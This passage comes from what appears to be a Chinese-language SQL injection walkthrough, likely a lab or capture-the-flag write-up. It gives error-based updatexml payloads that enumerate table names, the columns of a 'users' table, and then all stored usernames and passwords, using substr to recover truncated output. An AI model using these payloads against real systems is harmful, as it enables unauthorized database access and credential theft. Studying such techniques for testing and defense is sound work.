1' and (updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())),0x7e),1))or'
有缺失,说明长度不够长,使用substr函数,其中:
substr(string ,1,3) :取string左边第1位置起,3字长的字符串
substr(string, -1,3):取string右边第1位置起,3字长的字符串
1
1' and (updatexml(1,concat(0x7e,substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())),32,31),0x7e),1)) or'
将两次反馈拼接起来就是所有的数据库表名了
6.获取表
1
-1' and (updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('users')),0x7e),1))or'
1
-1' and (updatexml(1,concat(0x7e,substr((select(group_concat(column_name))from(information_schema.columns)where(table_name)like('users')),32,32),0x7e),1))or'
通过注入,我们获取到了用户名和密码的列表,接下来就是获取其中的信息了。
7.获取表中的内容
1
-1' and (updatexml(1,concat(0x7e,(select(group_concat(username))from(users)),0x7e),1))or'
1
-1' and (updatexml(1,concat(0x7e,(select(group_concat(password))from(users)),0x7e),1))or'
内容显示不全就继续使用substr函数进行补全
1
-1' and (updatexml(1,concat(0x7e,substr((select(group_concat(password))from(users)),32,32),0x7e),1))or'